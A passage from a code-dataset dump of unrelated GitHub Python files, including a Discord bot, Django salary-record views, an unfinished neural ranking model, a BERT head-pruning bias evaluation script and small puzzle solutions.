extensions\r\nfor i in range(len(commandFiles)):\r\n fileName = commandFiles[i]\r\n commandFiles[i] = fileName[0:len(fileName)-3:1]\r\n\r\nfor i in range(len(textFiles)):\r\n fileName = textFiles[i]\r\n textFiles[i] = fileName[0:len(fileName)-4:1]\r\n\r\n#set allowed channels\r\n#allowedChannels = [749388765717332019, 751227509168668762]\r\n\r\n@client.event\r\nasync def on_message(message):\r\n #print('\\t' + message.author.display_name + \":\\n\" + message.content)\r\n\r\n #if message.channel.id in allowedChannels and not message.author.bot:\r\n if not message.author.bot:\r\n\r\n #commands\r\n if message.content.startswith(\"$\"):\r\n command = message.content.split()[0][1:].lower()\r\n\r\n if command in commandFiles:\r\n await message.delete(delay = .01)\r\n await eval(command + '.' + command + \"(message, client)\")\r\n else:\r\n print(\"invalid command : \" + command)\r\n #text\r\n elif message.content.startswith('!'):\r\n command = message.content[1:len(message.content):1].lower()\r\n\r\n if command in textFiles:\r\n await message.delete(delay = .01)\r\n f = open(\"pasta/\" + command + \".txt\", 'r', encoding=\"utf-8\")\r\n embed = discord.Embed(\r\n title=\"\",\r\n color = 0xff9933,\r\n description = f.read()\r\n )\r\n await message.channel.send(embed=embed)\r\n f.close()\r\n\r\n@client.event\r\nasync def on_reaction_add(reaction, user):\r\n if (reaction.message.channel.id == 749388765717332019):\r\n #await reaction.message.channel.send(reaction.emoji)\r\n pass\r\n\r\nclient.run(open(sys.argv[1], 'r').read())\r\n","repo_name":"JPBorghese/DiscordBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42664480568","text":"def inputs(input_file):\n import numpy as np\n with open (input_file , 'r') as file:\n text = file.read().splitlines()\n Layers = []\n input_shapes = []\n i=-1\n check = False\n for line in text:\n if line[:8] == \"IN_SHAPE\":\n\n input_shape=(line[21:-2])\n input_shape = input_shape.split(\",\")\n input_shape = [int(num) for num in input_shape]\n input_shapes.append(input_shape)\n if line == \"INPUT\":\n check = True\n i += 1\n Layers.append([])\n if line == \"OUTPUT\":\n check = False\n\n if check == True:\n Layers[i].append(line)\n Layers_n = []\n for Layer in Layers:\n Layer = Layer[1:]\n Layer = [int(x) for x in Layer]\n Layers_n.append(Layer)\n reshaped = []\n print (len(Layers_n))\n print (len(input_shapes))\n for i, layer in enumerate(Layers_n) :\n Layer= np.reshape(layer, input_shapes[i])\n reshaped.append(Layer)\n\n outputs = []\n for FM, input in enumerate(reshaped):\n outputs.append([])\n k,c,x,y = input.shape\n for ki in range(k):\n for yi in range(y):\n for xi in range(x):\n for ci in range(c):\n outputs[FM].append(input[ki][ci][yi][xi])\n return(outputs)","repo_name":"imandadras/zed","sub_path":"preprocess/Inputs.py","file_name":"Inputs.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72579649186","text":"# -*- encoding: utf-8 -*-\nimport json\nimport locale\nfrom datetime import date\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.forms.models import model_to_dict\nfrom django.http.response import Http404, HttpResponseForbidden\nfrom django.shortcuts import render, HttpResponse\nfrom django.template import RequestContext\nfrom django.utils.decorators import method_decorator\n\nfrom libs.default.decorators import permission_level_required\nfrom modules.honorary.api import ContractController\nfrom modules.preferencias.formularios import adicionar_salario_minimo\n\nfrom modules.preferencias.models import SalarioMinimo\n\n@login_required\n@permission_level_required(1,'/error/access_denied')\ndef controle_preferencias(request):\n formulario_salario = adicionar_salario_minimo()\n return render(request, \"preferencias/preferencias.html\",{'formulario_salario':formulario_salario})\n\n@login_required\n@permission_level_required(1, raise_exception=HttpResponseForbidden())\ndef adicionar_salario(request):\n if request.is_ajax():\n formulario = adicionar_salario_minimo(request.POST)\n resultado = validar_formulario(formulario)\n if resultado == True:\n salario = SalarioMinimo()\n salario.valor = formulario.cleaned_data['valor']\n salario.inicio_vigencia = formulario.cleaned_data['inicio_vigencia']\n response_dict = executar_operacao(salario, \"save\")\n if response_dict[\"success\"]:\n #print(\"Buscando o id:\",response_dict['message'],type(response_dict['message']))\n ContractController().atualizar_contratos_completo(request)\n novo_registro = SalarioMinimo.objects.get(pk=response_dict['message']).data_cadastro.strftime(\"%Y-%m-%d às %H:%M:%S\")\n #print(\"Tentando buscar o novo registro:\"+novo_registro)\n response_dict['message'] = str(response_dict['message']) + \"#\" +novo_registro\n\n else:\n response_dict = {}\n response_dict['success'] = False\n response_dict['message'] = resultado\n\n return HttpResponse(json.dumps(response_dict))\n else:\n raise Http404\n\ndef validar_formulario(formulario):\n if formulario.is_valid():\n return True\n else:\n for campo in formulario:\n erros = campo.errors.as_data()\n if erros != []:\n erro = erros[0]\n #print(\"olha o erro:\",erro[0])\n msg = \"Erro! \"+campo.label.replace(\":\",\"\")+str(erros[0])\n print(msg)\n return msg\n\n@login_required\n@permission_level_required(1, raise_exception=HttpResponseForbidden())\ndef alterar_salario(request,id):\n if request.is_ajax():\n formulario = adicionar_salario_minimo(request.POST)\n resultado = validar_formulario(formulario)\n if resultado == True:\n #dict_obj['valor'] = float(\n #dict_obj['valor']) # str(locale.currency(float(dict_obj['valor']), grouping=True)).replace(\"R$\",\"\")\n #dict_obj['inicio_vigencia'] = dict_obj['inicio_vigencia'].strftime(\"%d/%m/%Y\")\n salario = SalarioMinimo.objects.get(pk=int(id))\n salario.valor = formulario.cleaned_data['valor']\n salario.inicio_vigencia = formulario.cleaned_data['inicio_vigencia']\n response_dict = executar_operacao(salario, \"save\")\n ContractController().atualizar_contratos_completo(request)\n\n\n else:\n response_dict = {}\n response_dict['success'] = False\n response_dict['message'] = resultado\n\n return HttpResponse(json.dumps(response_dict))\n else:\n raise Http404\n\n@login_required\n@permission_level_required(1, raise_exception=HttpResponseForbidden())\ndef excluir_salario(request,id):\n if request.is_ajax():\n salario = SalarioMinimo.objects.get(pk=int(id))\n response_dict = executar_operacao(salario,\"delete\")\n return HttpResponse(json.dumps(response_dict))\n\n else:\n raise Http404\n\n@login_required\ndef listar_salarios(request):\n #ContractController().atualizar_contratos_completo()\n\n locale.setlocale(locale.LC_ALL, '')\n data_atual = date.today()\n # Outro recurso seria usar o modulo do proprio Django.\n #from django.contrib.humanize.templatetags.humanize import intcomma\n #return \"$ %s\" % intcomma(price)\n if request.is_ajax():\n salarios = SalarioMinimo.objects.all().order_by(\"-inicio_vigencia\")\n salario_vigente = None\n registro_vigente = None\n dados = []\n cont = 0\n for item in salarios:\n dict_obj = model_to_dict(item)\n dict_obj['valor'] = float(dict_obj['valor']) # str(locale.currency(float(dict_obj['valor']), grouping=True)).replace(\"R$\",\"\")\n dict_obj['inicio_vigencia'] = dict_obj['inicio_vigencia'].strftime(\"%Y-%m-%d\")\n dict_obj['data_cadastro'] = item.data_cadastro.strftime(\"%Y-%m-%d às %H:%M:%S\")\n dict_obj['vigente'] = False\n\n if salario_vigente == None:\n salario_vigente = item\n elif item.inicio_vigencia > salario_vigente.inicio_vigencia and item.inicio_vigencia <= data_atual:\n salario_vigente = item\n registro_vigente = cont\n else:\n pass\n cont = cont + 1\n dados.append(dict_obj)\n\n if registro_vigente != None:\n dados[registro_vigente]['vigente'] = True\n\n data = json.dumps(dados)\n return HttpResponse(data, content_type='application/json')\n else:\n raise Http404\n\n@login_required()\ndef get_salario_vigente(request):\n from django.contrib.humanize.templatetags.humanize import intcomma\n #return\n data_atual = date.today()\n try:\n salario_vigente = SalarioMinimo.objects.filter(inicio_vigencia__lte=data_atual).latest('inicio_vigencia')\n except:\n salario_vigente = None\n\n try:\n proximo_salario_vigente = SalarioMinimo.objects.filter(inicio_vigencia__gt=data_atual).order_by('inicio_vigencia').first()\n except:\n proximo_salario_vigente = None\n\n response_dict = {}\n\n if salario_vigente is not None:\n response_dict['id_salario_vigencia_atual'] = salario_vigente.id\n response_dict['salario_vigencia_atual'] = \"R$ %s\" % intcomma(salario_vigente.valor)\n response_dict['inicio_vigencia_atual'] = salario_vigente.inicio_vigencia.strftime(\"%Y-%m-%d\")\n else:\n print(\"Entro aqui salario_vigente = None\")\n response_dict['id_salario_vigencia_atual'] = None\n response_dict['salario_vigencia_atual'] = None\n response_dict['inicio_vigencia_atual'] = None\n\n if proximo_salario_vigente:\n response_dict['salario_proxima_vigencia'] = \"R$ %s\" % intcomma(proximo_salario_vigente.valor)\n response_dict['inicio_proxima_vigencia'] = proximo_salario_vigente.inicio_vigencia.strftime(\"%Y-%m-%d\")\n response_dict['duracao_vigencia_atual'] = (proximo_salario_vigente.inicio_vigencia-salario_vigente.inicio_vigencia).days\n response_dict['dias_restante_vigencia_atual'] = (proximo_salario_vigente.inicio_vigencia-data_atual).days\n response_dict['percentual_restante_vigencia_atual'] = \"%.2f\"%(100-(float(response_dict['dias_restante_vigencia_atual'])/response_dict['duracao_vigencia_atual'])*100)\n\n else:\n response_dict['salario_proxima_vigencia'] = None\n response_dict['inicio_proxima_vigencia'] = None\n response_dict['duracao_vigencia_atual'] = None\n response_dict['dias_restante_vigencia_atual'] = None\n response_dict['percentual_restante_vigencia_atual'] = None\n\n #print(\"olha a vigencia atual:\",salario_vigente.inicio_vigencia)\n #print(\"olha a proxima vigencia: \",proximo_salario_vigente.inicio_vigencia)\n #print(\"OLHA A DURACAO DESSA VIGENCIA:\",response_dict['duracao_vigencia_atual'])\n #print(\"OLHA OS DIAS RESTANTES: \",response_dict['dias_restante_vigencia_atual'],\" -> \",response_dict['percentual_restante_vigencia_atual'])\n data = json.dumps(response_dict)\n return HttpResponse(data, content_type='application/json')\n\n\ndef executar_operacao(registro,operacao):\n response_dict = {}\n if operacao == \"save\":\n metodo_selecionado = registro.save\n menssage_sucesso = \"Registro adicionado com Sucesso!\"\n menssage_falha = \"Erro! Registro não pode ser Salvo.\\n\"\n\n elif operacao == \"delete\":\n metodo_selecionado = registro.delete\n menssage_sucesso = \"Registro apagado com Sucesso!\"\n menssage_falha = \"Erro! Registro não pode ser Salvo.\\n\"\n\n try:\n metodo_selecionado()\n response_dict['success'] = True\n response_dict['message'] = registro.id\n\n except Exception as e:\n response_dict['success'] = False\n response_dict['message'] = menssage_falha+str(e)\n return response_dict\n","repo_name":"diegopasti/sistema_digitar","sub_path":"modules/preferencias/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8873,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21575370225","text":"from typing import Dict, Iterator, List,Tuple\nfrom collections import OrderedDict\n\nimport torch\nimport torch.nn as nn\n\nfrom allennlp.nn.util import get_text_field_mask\n \nimport torch.nn.functional as F\n\nfrom allennlp.modules.text_field_embedders import TextFieldEmbedder\nfrom allennlp.modules.matrix_attention.cosine_matrix_attention import CosineMatrixAttention \nfrom allennlp.modules.matrix_attention.dot_product_matrix_attention import DotProductMatrixAttention \nfrom allennlp.modules.feedforward import FeedForward\nfrom allennlp.nn.activations import Activation\nfrom matchmaker.modules.convgru import ConvGRU\n\nclass HiNT(nn.Module):\n '''\n Paper: Modeling Diverse Relevance Patterns in Ad-hoc Retrieval, Fan et al., SIGIR'18\n '''\n\n def __init__(self,\n word_embeddings: TextFieldEmbedder):\n \n super(HiNT,self).__init__()\n\n self.word_embeddings = word_embeddings\n self.cosine_module = CosineMatrixAttention()\n\n self.conv_gru_cos = ConvGRU(input_size=1, hidden_sizes=2, kernel_sizes=1, n_layers=1)\n self.conv_gru_xor = ConvGRU(input_size=1, hidden_sizes=2, kernel_sizes=1, n_layers=1)\n\n #self.global_decision_lstm = \n\n #self.bin_count = bin_count\n #self.matching_classifier = FeedForward(input_dim=bin_count, num_layers=2, hidden_dims=[bin_count,1],activations=[Activation.by_name('tanh')(),Activation.by_name('tanh')()])\n #self.query_gate = FeedForward(input_dim=self.word_embeddings.get_output_dim(), num_layers=2, hidden_dims=[self.word_embeddings.get_output_dim(),1],activations=[Activation.by_name('tanh')(),Activation.by_name('tanh')()])\n #self.query_softmax = MaskedSoftmax()\n\n def forward(self, query: Dict[str, torch.Tensor], document: Dict[str, torch.Tensor]) -> torch.Tensor:\n # pylint: disable=arguments-differ\n\n #\n # prepare embedding tensors\n # -------------------------------------------------------\n\n # we assume 1 is the unknown token, 0 is padding - both need to be removed\n if len(query[\"tokens\"].shape) == 2: # (embedding lookup matrix)\n # shape: (batch, query_max)\n query_pad_oov_mask = (query[\"tokens\"] > 1).float()\n # shape: (batch, doc_max)\n document_pad_oov_mask = (document[\"tokens\"] > 1).float()\n else: # == 3 (elmo characters per word)\n # shape: (batch, query_max)\n query_pad_oov_mask = (torch.sum(query[\"tokens\"],2) > 0).float()\n # shape: (batch, doc_max)\n document_pad_oov_mask = (torch.sum(document[\"tokens\"],2) > 0).float()\n\n # shape: (batch, query_max,emb_dim)\n query_embeddings = self.word_embeddings(query) * query_pad_oov_mask.unsqueeze(-1)\n # shape: (batch, document_max,emb_dim)\n document_embeddings = self.word_embeddings(document) * document_pad_oov_mask.unsqueeze(-1)\n\n #\n # similarity matrix\n # -------------------------------------------------------\n\n # create sim matrix\n cosine_matrix = self.cosine_module.forward(query_embeddings, document_embeddings)\n xor_matrix = (cosine_matrix == 1).float()\n\n #\n # local classfifier\n # ----------------------------------------------\n\n gru_cos_out = self.conv_gru_cos(cosine_matrix.unsqueeze(1))\n gru_xor_out = self.conv_gru_xor(xor_matrix.unsqueeze(1))\n\n combined_out = torch.cat([gru_cos_out[0],gru_xor_out[0]],dim=1)\n\n #max_vals = \n\n classified_matches_per_query = self.matching_classifier(histogram_tensor)\n\n #\n # query gate \n # ----------------------------------------------\n query_gates_raw = self.query_gate(query_embeddings)\n query_gates = self.query_softmax(query_gates_raw.squeeze(-1),query_pad_oov_mask).unsqueeze(-1)\n\n #\n # combine it all\n # ----------------------------------------------\n scores = torch.sum(classified_matches_per_query * query_gates,dim=1)\n\n return scores\n\n def get_param_stats(self):\n return \"DRMM: -\"\n\n\n#from https://gist.github.com/kaniblu/94f3ede72d1651b087a561cf80b306ca thanks!\nclass MaskedSoftmax(nn.Module):\n def __init__(self):\n super(MaskedSoftmax, self).__init__()\n self.softmax = nn.Softmax(1)\n\n def forward(self, x, mask=None):\n \"\"\"\n Performs masked softmax, as simply masking post-softmax can be\n inaccurate\n :param x: [batch_size, num_items]\n :param mask: [batch_size, num_items]\n :return:\n \"\"\"\n if mask is not None:\n mask = mask.float()\n if mask is not None:\n x_masked = x * mask + (1 - 1 / mask)\n else:\n x_masked = x\n x_max = x_masked.max(1)[0]\n x_exp = (x - x_max.unsqueeze(-1)).exp()\n if mask is not None:\n x_exp = x_exp * mask.float()\n return x_exp / x_exp.sum(1).unsqueeze(-1)\n","repo_name":"sophiaalthammer/alforrankers","sub_path":"matchmaker/models/archive/hint.py","file_name":"hint.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37506467516","text":"num_cities = int(input())\n\ndata = dict()\n\nfor cur_city_num in range(num_cities):\n city, num_rooms = input().split()\n cur_city_data = {i: [] for i in range(24)}\n for cur_room_num in range(int(num_rooms)):\n timeline, name = input().split()\n for hour in range(24):\n if timeline[hour] == '.':\n cur_city_data[hour].append(name)\n data[city] = cur_city_data\n\nnum_requests = int(input())\nfor i in range(num_requests):\n request = input().split()\n potential_hours = set(i for i in range(24))\n for city in request[1:]:\n free_hours = set()\n for hour, rooms in data[city].items():\n if len(rooms) > 0:\n free_hours.add(hour)\n potential_hours &= free_hours\n if len(potential_hours) == 0:\n print('No', end='')\n else:\n print(\"Yes\", end=' ')\n hour = ''\n for jija in potential_hours:\n hour = jija\n break\n for city in request[1:]:\n print(data[city][hour][0], end=' ')\n print()\n","repo_name":"betyavan/ML-practice","sub_path":"yandex_ml_contest/task_3.py","file_name":"task_3.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"597187334","text":"import json\nimport os\nimport torch.distributed\nimport numpy as np\nfrom collections import defaultdict, Counter\nimport argparse\nimport pickle\nfrom datasets import Dataset\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nimport torch.nn as nn\n\nfrom transformers import AutoTokenizer\nfrom pytorch_pretrained_bert.model_prune_head import BertForSequenceClassification\n\n\ndef rms_diff(tpr_diff):\n return np.sqrt(np.mean(tpr_diff ** 2))\n\n\ndef process_data(dataset):\n sentiment = []\n text = []\n race = []\n\n for elem in dataset:\n sentiment.append(elem[\"sentiment\"])\n text.append(elem[\"text\"])\n race.append(elem[\"race\"])\n\n sentiment_result = []\n for _, v in enumerate(sentiment):\n if v == 0:\n sentiment_result.append(0)\n elif v == 1:\n sentiment_result.append(1)\n else:\n raise Exception(\"unknown label in sentiment\")\n\n race_result = []\n for _, v in enumerate(race):\n if v == 0:\n race_result.append(0)\n elif v == 1:\n race_result.append(1)\n else:\n raise Exception(\"unknown label in race\")\n\n data_dict = {\"label\": sentiment_result, \"text\": text, \"race\": race_result}\n dataset = Dataset.from_dict(data_dict)\n\n return dataset\n\n\ndef eval_model(model, dl, args, importance_set=None, ratio=0, prune_choice=\"prune_ratio\"):\n model.eval()\n print(\"running eval\")\n\n total_loss = 0\n total_correct = []\n total_race = []\n total_sentiment = []\n s_count = 0\n a_count = 0\n s_tot = 0\n a_tot = 0\n\n for batch_idx, batch in enumerate(tqdm(dl)):\n input_ids = torch.transpose(torch.stack(batch[\"input_ids\"]), 0, 1).to(args.device)\n\n attention_mask = torch.transpose(torch.stack(batch[\"attention_mask\"]), 0, 1).to(args.device)\n labels = torch.tensor(batch[\"label\"]).long().to(args.device)\n race = batch[\"race\"]\n\n with torch.no_grad():\n if args.dataparallel:\n batch_loss, logits = model.module(\n input_ids=input_ids, get_which=\"res\", attention_mask=attention_mask,labels=labels, att_head_mask=importance_set\n )\n else:\n batch_loss, logits = model(\n input_ids=input_ids, get_which=\"res\", attention_mask=attention_mask,labels=labels, att_head_mask=importance_set\n )\n if args.dataparallel:\n total_loss += batch_loss.sum().item()\n else:\n total_loss += batch_loss.item()\n total_correct += (torch.argmax(logits, dim=1) == labels).tolist()\n total_race.append(race)\n total_sentiment.append(labels.cpu().numpy())\n\n total_race = [item for sublist in total_race for item in sublist]\n total_sentiment = [item for sublist in total_sentiment for item in sublist]\n\n scores = defaultdict(Counter)\n prof_count_total = defaultdict(Counter)\n\n for (r, se, l) in zip(total_race, total_sentiment, total_correct):\n if r == 1:\n if l:\n a_count += 1\n a_tot += 1\n else:\n assert r == 0\n if l:\n s_count += 1\n s_tot += 1\n\n if l is True:\n scores[se][r.item()] += 1\n prof_count_total[se][r.item()] += 1\n\n print(s_count, s_tot)\n print(a_count, a_tot)\n print(sum(total_correct))\n\n assert s_count + a_count == sum(total_correct)\n acc = sum(total_correct) / len(total_correct)\n s_acc = s_count / s_tot\n a_acc = a_count / a_tot\n\n tprs = defaultdict(dict)\n tprs_change = dict()\n\n for sentiment, scores_dict in scores.items():\n good_s, good_a = scores_dict[0], scores_dict[1]\n prof_total_a = prof_count_total[sentiment][1]\n prof_total_s = prof_count_total[sentiment][0]\n tpr_s = (good_s) / prof_total_s\n tpr_a = (good_a) / prof_total_a\n\n tprs[sentiment][0] = tpr_s\n tprs[sentiment][1] = tpr_a\n tprs_change[sentiment] = tpr_s - tpr_a\n\n tpr_rms = rms_diff(np.array(list(tprs_change.values())))\n\n loss = total_loss / len(total_correct)\n log_dict = {\n \"model\": args.model_file,\n \"ratio\": ratio,\n \"prune_choice\": prune_choice,\n \"batch_idx\": batch_idx,\n \"eval_acc\": acc,\n \"eval_acc_s\": s_acc,\n \"eval_acc_a\": a_acc,\n \"tpr\": s_acc - a_acc,\n \"tpr_rms\": tpr_rms,\n \"eval_loss\": loss,\n }\n\n return log_dict\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataparallel\", default=False)\n parser.add_argument(\"--device\", default=\"cuda\" if torch.cuda.is_available() else \"cpu\")\n parser.add_argument(\"--model_name_or_path\", type=str, default=\"bert-base-uncased\")\n parser.add_argument(\"--cache_dir\", default=None, type=str, help=\"cache directory\")\n parser.add_argument(\"--max_sequence_length\", type=int, default=128)\n parser.add_argument(\"--batch_size\", type=int, default=64)\n parser.add_argument(\"--test_path\", type=str, default=\"../data/moji/testmoji.pkl\")\n parser.add_argument(\"--output_dir\", default='../model_save/moji/bert/original', type=str,\n help=\"The output directory where the experimental results will be written.\")\n parser.add_argument(\"--model_file\", type=str,\n default=\"../model_save/moji/bert/original/model.2.bin\",\n help=\"Full name or path or URL to trained model\")\n\n args = parser.parse_args()\n\n file = open(args.test_path, \"rb\")\n data = pickle.load(file)\n file.close()\n test_dataset = process_data(data)\n\n os.makedirs(args.output_dir, exist_ok=True)\n\n tokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path, use_fast=True, cache_dir=args.cache_dir)\n model_state_dict = torch.load(args.model_file)\n model = BertForSequenceClassification.from_pretrained(\n args.model_name_or_path, state_dict=model_state_dict,num_labels=2\n ).to(args.device)\n\n if args.dataparallel:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n model = nn.DataParallel(model, device_ids=range(torch.cuda.device_count()))\n\n model = model.to(args.device)\n model.eval()\n\n if args.model_name_or_path.find(\"base\") != -1:\n num_head, num_layer = 12, 12\n elif args.model_name_or_path.find(\"large\") != -1:\n num_head, num_layer = 16, 24\n\n def preprocess_function(examples):\n # Tokenize the texts\n args = [examples[\"text\"]]\n result = tokenizer(\n *args,\n padding=\"max_length\",\n max_length=128,\n truncation=True,\n )\n return result\n\n test_dataset = test_dataset.map(preprocess_function, batched=True, load_from_cache_file=True)\n eval_loader = DataLoader(dataset=test_dataset, batch_size=args.batch_size, shuffle=False)\n\n if args.dataparallel:\n print(\n f\"Trainable params: {sum(p.numel() for p in model.module.parameters() if p.requires_grad)}\"\n )\n print(f\"All params : {sum(p.numel() for p in model.module.parameters())}\")\n else:\n print(\n f\"Trainable params: {sum(p.numel() for p in model.parameters() if p.requires_grad)}\"\n )\n print(f\"All params : {sum(p.numel() for p in model.parameters())}\")\n\n head_bias_path = os.path.join(args.output_dir, \"head_bias_importance_attr.json\")\n head_predicte_path = os.path.join(args.output_dir, \"head_predicte_importance_attr.json\")\n head_bias_file = open(head_bias_path, \"r\", encoding=\"utf-8\")\n head_bias_importance_attr = json.load(head_bias_file)\n head_predicte_file = open(head_predicte_path, \"r\", encoding=\"utf-8\")\n head_predicte_importance_attr = json.load(head_predicte_file)\n\n predict_sort_index = list(np.argsort(-(np.array(head_predicte_importance_attr)))) # 从小到大排序\n bias_sort_index = list(np.argsort(-(np.array(head_bias_importance_attr))))\n\n # trade-off pruning\n protected_ratio = [0.8,0.7,0.6,0.5,0.4,0.3]\n for p_ratio in protected_ratio: # Percentage of traversal pruning\n final_importance = [-1] * 14\n pi, bi, final_ci, num_pi = -1, 0, 0, 0\n while final_ci < 14:\n if pi <= -13:\n pi = -13\n if bi >= 27:\n bi = 27\n while predict_sort_index[pi] in final_importance:\n pi += -1\n while bias_sort_index[bi] in final_importance:\n bi += 1\n if num_pi < (final_ci + 1) * p_ratio: # Need for protection\n final_importance[final_ci] = predict_sort_index[pi]\n final_ci += 1\n pi += -1\n num_pi += 1\n elif bias_sort_index.index(bias_sort_index[bi]) < predict_sort_index.index(bias_sort_index[bi]):\n final_importance[final_ci] = bias_sort_index[bi]\n final_ci += 1\n bi += 1\n else:\n bi += 1\n print(final_importance)\n\n importance_set = [1] * num_head * num_layer\n for i in range(14):\n importance_set[final_importance[i]] = 0\n importance_set = np.array(importance_set).reshape(num_layer, num_head)\n importance_set = torch.tensor(importance_set)\n importance_set = importance_set.view(*importance_set.shape, 1, 1)\n importance_set = importance_set.expand(-1, -1, 128, 128).to(args.device)\n\n log_dict = eval_model(model, eval_loader, args,importance_set,ratio=p_ratio,prune_choice=\"prune_ratio\")\n print(\"Bias-in-Bios evaluation results:\")\n print(f\" - model file: {args.model_file}\")\n print(f\" - protected_ratio: {p_ratio}\")\n print(f\" - acc. (all): {log_dict['eval_acc']*100}\")\n print(f\" - acc. (s): {log_dict['eval_acc_s']*100}\")\n print(f\" - acc. (a): {log_dict['eval_acc_a']*100}\")\n print(f\" - tpr gap: {log_dict['tpr']*100}\")\n print(f\" - tpr rms: {log_dict['tpr_rms']}\")\n\n with open(os.path.join(args.output_dir, \"moji-eval.json\"), \"a\") as f_out:\n f_out.write(json.dumps(log_dict, indent=2, sort_keys=True))\n f_out.write('\\n')\n\n # Pruning based on bias importance and predicted unimportance only\n for prune_choice in ([\"prune_predict\",\"prune_bias\"]):\n for prune_i in range(0, 11, 1): # Percentage of traversal pruning\n prune_rate = prune_i / 10\n if prune_choice == \"prune_predict\":\n head_importance = np.argsort((np.array(head_predicte_importance_attr)))\n elif prune_choice == \"prune_bias\":\n head_importance = np.argsort(-(np.array(head_bias_importance_attr)))\n\n importance_set = [1] * num_head * num_layer\n num = int(num_head * num_layer * prune_rate)\n for i in range(num):\n importance_set[head_importance[i]] = 0\n\n importance_set = np.array(importance_set).reshape(num_layer, num_head)\n importance_set = torch.tensor(importance_set)\n importance_set = importance_set.view(*importance_set.shape, 1, 1)\n importance_set = importance_set.expand(-1, -1, args.max_sequence_length, args.max_sequence_length).to(\n args.device)\n\n log_dict = eval_model(model, eval_loader, args, importance_set, ratio=prune_rate,prune_choice=prune_choice)\n print(\"Bias-in-Bios evaluation results:\")\n print(f\" - model file: {args.model_file}\")\n print(f\" - prune_rate: {prune_rate}\")\n print(f\" - acc. (all): {log_dict['eval_acc'] * 100}\")\n print(f\" - acc. (s): {log_dict['eval_acc_s'] * 100}\")\n print(f\" - acc. (a): {log_dict['eval_acc_a'] * 100}\")\n print(f\" - tpr gap: {log_dict['tpr'] * 100}\")\n print(f\" - tpr rms: {log_dict['tpr_rms']}\")\n\n with open(os.path.join(args.output_dir, \"moji-eval.json\"), \"a\") as f_out:\n f_out.write(json.dumps(log_dict, indent=2, sort_keys=True))\n f_out.write('\\n')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yqw0710/Attribution-and-Pruing-Debias","sub_path":"moji/eval_moji.py","file_name":"eval_moji.py","file_ext":"py","file_size_in_byte":12033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23326716240","text":"from typing import List\n\ndef is_cheaper_flight_exists(src_flight, schedule):\n start = src_flight[0]\n finish = src_flight[1]\n src_weight = src_flight[2]\n\n for flight in schedule:\n\n if start in flight:\n if flight[2] > src_weight:\n continue\n\n local_finish = flight[abs(flight.index(start)-1)]\n\n if local_finish == finish:\n return 'YES'\n else:\n i = schedule.index(flight)\n if is_cheaper_flight_exists([local_finish, finish, src_weight-flight[2]], schedule[:i]+schedule[i+1:]) == 'NO':\n continue\n else:\n return 'YES'\n return 'NO'\n\ndef useless_flight(schedule: List) -> List:\n res = []\n for i in range(len(schedule)):\n if is_cheaper_flight_exists(schedule[i], schedule[:i]+schedule[i+1:]) == 'YES':\n res.append(i)\n return res\n\n\nif __name__ == '__main__':\n print(\"Example:\")\n # print(useless_flight([['A', 'B', 50],\n # ['B', 'C', 40],\n # ['A', 'C', 100]]))\n print(\n useless_flight([[\"A\",\"H\",35],[\"A\",\"I\",10],[\"A\",\"J\",45],[\"A\",\"M\",70],[\"B\",\"E\",25],[\"B\",\"H\",45],[\"B\",\"N\",55],[\"B\",\"O\",30],[\"C\",\"D\",75],[\"C\",\"G\",85],[\"C\",\"J\",45],[\"C\",\"K\",50],[\"D\",\"G\",30],[\"D\",\"K\",80],[\"D\",\"L\",85],[\"E\",\"O\",85],[\"F\",\"G\",50],[\"F\",\"J\",75],[\"F\",\"M\",70],[\"F\",\"N\",45],[\"G\",\"J\",40],[\"H\",\"M\",40],[\"H\",\"O\",50],[\"I\",\"K\",30],[\"I\",\"L\",90],[\"I\",\"O\",50],[\"K\",\"L\",55],[\"M\",\"N\",75]])\n )\n\n # These \"asserts\" are used for self-checking and not for an auto-testing\n # assert useless_flight([['A', 'B', 50],\n # ['B', 'C', 40],\n # ['A', 'C', 100]]) == [2]\n # assert useless_flight([['A', 'B', 50],\n # ['B', 'C', 40],\n # ['A', 'C', 90]]) == []\n # assert useless_flight([['A', 'B', 50],\n # ['B', 'C', 40],\n # ['A', 'C', 40]]) == []\n # assert useless_flight([['A', 'C', 10],\n # ['C', 'B', 10],\n # ['C', 'E', 10],\n # ['C', 'D', 10],\n # ['B', 'E', 25],\n # ['A', 'D', 20],\n # ['D', 'F', 50],\n # ['E', 'F', 90]]) == [4, 7]\n # print(\"Coding complete? Click 'Check' to earn cool rewards!\")\n","repo_name":"pskv/Python-Projects","sub_path":"Checkio/Useless_Flights.py","file_name":"Useless_Flights.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71034401186","text":"from dataclasses import asdict\nfrom typing import Dict, List, Optional, Union\n\nimport flatdict\n\nfrom kpm.shared.adapters.mongo import mongo_client\nfrom kpm.shared.domain.model import RootAggState, UserId, VISIBLE_STATES\nfrom kpm.shared.domain.time_utils import now_utc_millis\nfrom kpm.shared.entrypoints.auth_jwt import RefreshToken\nfrom kpm.shared.service_layer.message_bus import MessageBus\nfrom kpm.users.domain.model import (\n InvalidSession,\n Keep,\n Reminder, Session,\n User,\n)\nfrom kpm.users.domain.repositories import KeepRepository\n\n\ndef all_users(bus: MessageBus) -> List[User]:\n with bus.uows.get(User) as uow:\n return [u.erase_sensitive_data() for u in uow.repo.all()]\n\n\ndef by_id(user_id: str, bus: MessageBus) -> 